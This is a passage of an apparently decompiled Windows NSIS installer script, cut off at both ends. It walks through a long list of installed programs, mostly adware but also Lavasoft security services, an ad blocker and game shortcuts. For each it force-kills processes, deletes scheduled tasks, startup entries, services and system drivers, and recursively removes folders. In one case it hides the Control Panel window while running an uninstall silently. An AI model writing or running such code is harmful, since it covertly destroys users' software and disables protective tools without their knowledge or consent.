$PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Bidaily Synchronize Task$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Delete /REBOOTOK $1 Delete /REBOOTOK $SMSTARTUP\Download.lnk label_17417: IfFileExists $PROGRAMFILES\ORBTR 0 label_17419 RMDir /r /REBOOTOK $PROGRAMFILES\ORBTR label_17419: IfFileExists $LOCALAPPDATA\avabvyxvdy 0 label_17431 nsExec::Exec "cmd /k taskkill /IM avabvyxvdy.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM avabvyxvdy.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"avabvyxvdy$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"avabvyxvdy$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\avabvyxvdy label_17431: IfFileExists $PROGRAMFILES\PriceLEoss 0 label_17433 RMDir /REBOOTOK $PROGRAMFILES\PriceLEoss label_17433: IfFileExists $PROGRAMFILES\Uniblue\DriverScanner 0 label_17450 nsExec::Exec "cmd /k taskkill /IM driverscanner.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM driverscanner.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Launcher.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Launcher.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"DriverScanner$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"DriverScanner$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $PROGRAMFILES\Uniblue\DriverScanner label_17450: IfFileExists "$PROGRAMFILES\Aktiv Download Manager" 0 label_17452 RMDir /r /REBOOTOK "$PROGRAMFILES\Aktiv Download Manager" label_17452: IfFileExists $PROGRAMFILES\OpenBrowserVersion* 0 label_17460 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\OpenBrowserVersion* label_17455: StrCmp $R1 "" label_17459 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 FindNext $0 $R1 Goto label_17455 label_17459: FindClose $0 label_17460: IfFileExists $PROGRAMFILES\MediaPlayerVid* 0 label_17468 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\MediaPlayerVid* label_17463: StrCmp $R1 "" label_17467 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 FindNext $0 $R1 Goto label_17463 label_17467: FindClose $0 label_17468: IfFileExists $PROGRAMFILES\Sm23mS 0 label_17470 RMDir /r /REBOOTOK $PROGRAMFILES\Sm23mS label_17470: IfFileExists $PROGRAMFILES\PriceLLeess 0 label_17472 RMDir /r /REBOOTOK $PROGRAMFILES\PriceLLeess label_17472: IfFileExists $PROGRAMFILES\MovieDea 0 label_17480 nsExec::Exec "cmd /k taskkill /IM MovieDea.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MovieDea.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run MovieDea RMDir /r /REBOOTOK $PROGRAMFILES\MovieDea label_17480: IfFileExists $PROGRAMFILES\PriicueLEss 0 label_17482 RMDir /r /REBOOTOK $PROGRAMFILES\PriicueLEss label_17482: IfFileExists "$LOCALAPPDATA\FilesFrog Update Checker" 0 label_17494 nsExec::Exec "cmd /k taskkill /IM update_checker.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM update_checker.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"SomotoUpdateCheckerAutoStart$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"SomotoUpdateCheckerAutoStart$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$LOCALAPPDATA\FilesFrog Update Checker" label_17494: IfFileExists $PROGRAMFILES\PRoiceLesss 0 label_17496 RMDir /r /REBOOTOK $PROGRAMFILES\PRoiceLesss label_17496: IfFileExists $PROGRAMFILES\PricELeeSas 0 label_17498 RMDir /r /REBOOTOK $PROGRAMFILES\PricELeeSas label_17498: IfFileExists $PROGRAMFILES\TermBlazer* 0 label_17532 StrCpy $0 0 label_17500: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_17532 IntOp $0 $0 + 1 ClearErrors Push $1 Push TermBlazer Call :label_405 Pop $R3 IfErrors label_17500 ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion Push $2 Push . Push _ Call func_179 Pop $3 DeleteRegKey HKLM SYSTEM\ControlSet001\services\tbfd_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\tbsvc_$2 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\tbfd_$3.sys 0 label_17524 Delete /REBOOTOK $SYSDIR\drivers\tbfd_$3.sys label_17524: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\tbfd_$3.sys 0 label_17531 Delete /REBOOTOK $SYSDIR\drivers\tbfd_$3.sys label_17531: RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_17532: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr RecordPage" ImagePath IfErrors label_17546 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_17546 RMDir /r /REBOOTOK $2 label_17546: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr RecordPage" ImagePath IfErrors label_17560 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_17560 RMDir /r /REBOOTOK $2 label_17560: IfFileExists "$PROGRAMFILES\Record Page" 0 label_17564 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr RecordPage" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr RecordPage" RMDir /r /REBOOTOK "$PROGRAMFILES\Record Page" label_17564: IfFileExists $PROGRAMFILES\PricceLess 0 label_17566 RMDir /r /REBOOTOK $PROGRAMFILES\PricceLess label_17566: IfFileExists $PROGRAMFILES\PriiceLesss 0 label_17568 RMDir /r /REBOOTOK $PROGRAMFILES\PriiceLesss label_17568: IfFileExists $LOCALAPPDATA\TNT2 0 label_17570 RMDir /r /REBOOTOK $LOCALAPPDATA\TNT2 label_17570: IfFileExists $PROGRAMFILES\TNT2 0 label_17573 DeleteRegKey HKCU SOFTWARE\MozillaPlugins\@tnt2npapi.com/Plugin RMDir /r /REBOOTOK $PROGRAMFILES\TNT2 label_17573: IfFileExists $PROGRAMFILES\Baisvik 0 label_17586 nsExec::ExecToStack "schtasks /delete /tn $\"Baisvik\Baisvik Disk Cleaner\Start Baisvik Disk Cleaner on user logon into Windows.$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Baisvik\Baisvik Disk Cleaner\Start Baisvik Disk Cleaner on user logon into Windows.$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::Exec "cmd /k taskkill /IM DiskCleaner.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM DiskCleaner.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run name_me RMDir /r /REBOOTOK $PROGRAMFILES\Baisvik label_17586: IfFileExists $PROGRAMFILES\SuperClick* 0 label_17620 StrCpy $0 0 label_17588: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_17620 IntOp $0 $0 + 1 ClearErrors Push $1 Push SuperClick Call :label_405 Pop $R3 IfErrors label_17588 ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion Push $2 Push . Push _ Call func_179 Pop $3 DeleteRegKey HKLM SYSTEM\ControlSet001\services\scsvc_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\scfd_$2 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\scfd_$3.sys 0 label_17612 Delete /REBOOTOK $SYSDIR\drivers\scfd_$3.sys label_17612: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\scfd_$3.sys 0 label_17619 Delete /REBOOTOK $SYSDIR\drivers\scfd_$3.sys label_17619: RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_17620: IfFileExists $PROGRAMFILES\Wincy 0 label_17622 RMDir /r /REBOOTOK $PROGRAMFILES\Wincy label_17622: FunctionEnd Function func_17623 SetShellVarContext current IfFileExists $PROGRAMFILES\ZetaGames 0 label_17657 nsExec::Exec "cmd /k taskkill /IM ZetaGames.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ZetaGames.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Upd.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Upd.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM UnZeta.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM UnZeta.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM zetagames1.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM zetagames1.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM zetagames2.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM zetagames2.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"ZetaUpdate$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"ZetaUpdate$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ZetaGames RMDir /r /REBOOTOK $PROGRAMFILES\ZetaGames label_17657: IfFileExists $PROGRAMFILES\Mobogenie3 0 label_17690 nsExec::Exec "cmd /k net stop MobogenieService" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k net stop MobogenieService" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc config MobogenieService start= disabled" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc config MobogenieService start= disabled" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\MobogenieService nsExec::Exec "cmd /k taskkill /IM Mobogenie.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Mobogenie.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM MobogenieService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MobogenieService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM MoboGenieHelper.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MoboGenieHelper.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Update.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Update.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\Mobogenie3 label_17690: IfFileExists $APPDATA\ConditionalRedirect 0 label_17698 nsExec::Exec "cmd /k taskkill /IM updater.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM updater.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ConditionalRedirect RMDir /r /REBOOTOK $APPDATA\ConditionalRedirect label_17698: IfFileExists $LOCALAPPDATA\ZetaGamesNews 0 label_17706 nsExec::Exec "cmd /k taskkill /IM zeta.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM zeta.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ZetaGamesNews RMDir /r /REBOOTOK $LOCALAPPDATA\ZetaGamesNews label_17706: IfFileExists "$DESKTOP\World of Warships.lnk" 0 label_17708 Delete "$DESKTOP\World of Warships.lnk" label_17708: IfFileExists "$DESKTOP\World of Tanks.lnk" 0 label_17710 Delete "$DESKTOP\World of Tanks.lnk" label_17710: IfFileExists $DESKTOP\Warface.lnk 0 label_17712 Delete $DESKTOP\Warface.lnk label_17712: IfFileExists "$DESKTOP\Armored Warfare.lnk" 0 label_17714 Delete "$DESKTOP\Armored Warfare.lnk" label_17714: IfFileExists "$PROGRAMFILES\Local Weather Beta" 0 label_17726 nsExec::Exec "cmd /k taskkill /IM local_weather_beta_helper_service.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM local_weather_beta_helper_service.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"local_weather_beta_helper_service$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"local_weather_beta_helper_service$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$PROGRAMFILES\Local Weather Beta" label_17726: IfFileExists "$PROGRAMFILES\Summer Sports" 0 label_17738 nsExec::Exec "cmd /k taskkill /IM summer_sports_helper_service.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM summer_sports_helper_service.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"summer_sports_helper_service$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"summer_sports_helper_service$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$PROGRAMFILES\Summer Sports" label_17738: IfFileExists $PROGRAMFILES\MiuiTab 0 label_17740 RMDir /r /REBOOTOK $PROGRAMFILES\MiuiTab label_17740: IfFileExists $PROGRAMFILES\Clip2net 0 label_17748 nsExec::Exec "cmd /k taskkill /IM Clip2Net.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Clip2Net.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run clip2net RMDir /r /REBOOTOK $PROGRAMFILES\Clip2net label_17748: IfFileExists $APPDATA\Clip2Net 0 label_17750 RMDir /r /REBOOTOK $APPDATA\Clip2Net label_17750: IfFileExists "$PROGRAMFILES\Max Deal" 0 label_17762 nsExec::Exec "cmd /k taskkill /IM max_deal_helper_service.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM max_deal_helper_service.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"max_deal_helper_service$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"max_deal_helper_service$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK "$PROGRAMFILES\Max Deal" label_17762: IfFileExists $LOCALAPPDATA\PriceMeter 0 label_17785 nsExec::Exec "cmd /k taskkill /IM pricemeterw.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM pricemeterw.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM pricemeter.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM pricemeter.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"pricemetertask$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"pricemetertask$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"pricemeterwatcher$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"pricemeterwatcher$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run PriceMeterW RMDir /r /REBOOTOK $LOCALAPPDATA\PriceMeter label_17785: IfFileExists $LOCALAPPDATA\avabv* 0 label_17799 StrCpy $0 "" FindFirst $0 $R1 $LOCALAPPDATA\avabv* label_17788: StrCmp $R1 "" label_17798 DeleteRegKey HKLM SYSTEM\ControlSet001\services\$R1 nsExec::Exec "cmd /k taskkill /IM $R1.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $R1.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\$R1 FindNext $0 $R1 Goto label_17788 label_17798: FindClose $0 label_17799: IfFileExists $TEMP\adblocker_installer_* 0 label_17829 StrCpy $0 0 label_17801: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_17829 IntOp $0 $0 + 1 ClearErrors ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 Publisher IfErrors label_17801 ClearErrors Push $2 Push adblocker Call :label_405 Pop $R3 IfErrors label_17801 ClearErrors ReadRegStr $9 HKLM Software\Microsoft\Windows\CurrentVersion\Uninstall\$1 UninstallString IfErrors label_17829 nsExec::Exec "cmd /k control" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k control" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Sleep 1000 FindWindow $0 CabinetWClass ShowWindow $0 ${SW_HIDE} nsExec::Exec $9 ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push $9 ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec label_17829: IfFileExists $PROGRAMFILES\Lavasoft 0 label_17849 DeleteRegKey HKLM SYSTEM\ControlSet001\services\LavasoftTcpService DeleteRegKey HKLM SYSTEM\ControlSet001\services\SearchProtectionService DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run "Web Companion" nsExec::Exec "cmd /k taskkill /IM WebCompanion.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM WebCompanion.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Lavasoft.SearchProtect.WinService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Lavasoft.SearchProtect.WinService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM LavasoftTcpService.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM LavasoftTcpService.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\Lavasoft label_17849: IfFileExists $APPDATA\OpenCandy 0 label_17851 RMDir /r /REBOOTOK $APPDATA\OpenCandy label_17851: IfFileExists "$PROGRAMFILES\Application Nation" 0 label_17865 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Application Nation" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Application Nation" nsExec::Exec "cmd /k taskkill /IM updateApplicationNation.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM updateApplicationNation.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM utilApplicationNation.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM utilApplicationNation.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Application Nation" label_17865: IfFileExists $PROGRAMFILES\PragmaEdit 0 label_17867 RMDir /r /REBOOTOK $PROGRAMFILES\PragmaEdit label_17867: IfFileExists $LOCALAPPDATA\Installer 0 label_17893 nsExec::ExecToStack "schtasks /delete /tn $\"Installer_geforce$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Installer_geforce$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Installer_sense$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Installer_sense$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Inst_Rep$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Inst_Rep$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Installer_cr$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Installer_cr$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Installer_iwebar$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Installer_iwebar$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack label_17893: IfFileExists $DESKTOP\StormFall.lnk 0 label_17920 nsExec::ExecToStack "schtasks /delete /tn $\"StormFall TM$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"StormFall TM$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"StormFall TW1$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"StormFall TW1$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"StormFall TW2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"StormFall TW2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"StormFall W1$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"StormFall W1$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"StormFall W2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"StormFall W2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Delete $DESKTOP\StormFall.lnk label_17920: IfFileExists $PROGRAMFILES\Wordinator* 0 label_17955 StrCpy $0 0 label_17922: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_17955 IntOp $0 $0 + 1 ClearErrors Push $1 Push Wordinator Call :label_405 Pop $R3 IfErrors label_17922 IfFileExists $PROGRAMFILES\$1 0 label_17933 RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_17933: ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion DeleteRegKey HKLM SYSTEM\ControlSet001\services\wfd_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\wsvc_$2 Push $2 Push . Push _ Call func_179 Pop $3 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\wfd_$3.sys 0 label_17948 Delete /REBOOTOK $SYSDIR\drivers\wfd_$3.sys label_17948: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\wfd_$3.sys 0 label_17955 Delete /REBOOTOK $SYSDIR\drivers\wfd_$3.sys label_17955: IfFileExists "$LOCALAPPDATA\Up Top" 0 label_17963 nsExec::Exec "cmd /k taskkill /IM stub.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM stub.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run "Up Top" RMDir /r /REBOOTOK "$LOCALAPPDATA\Up Top" label_17963: IfFileExists $LOCALAPPDATA\promoskiki 0 label_17971 DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run promoskiki nsExec::Exec "cmd 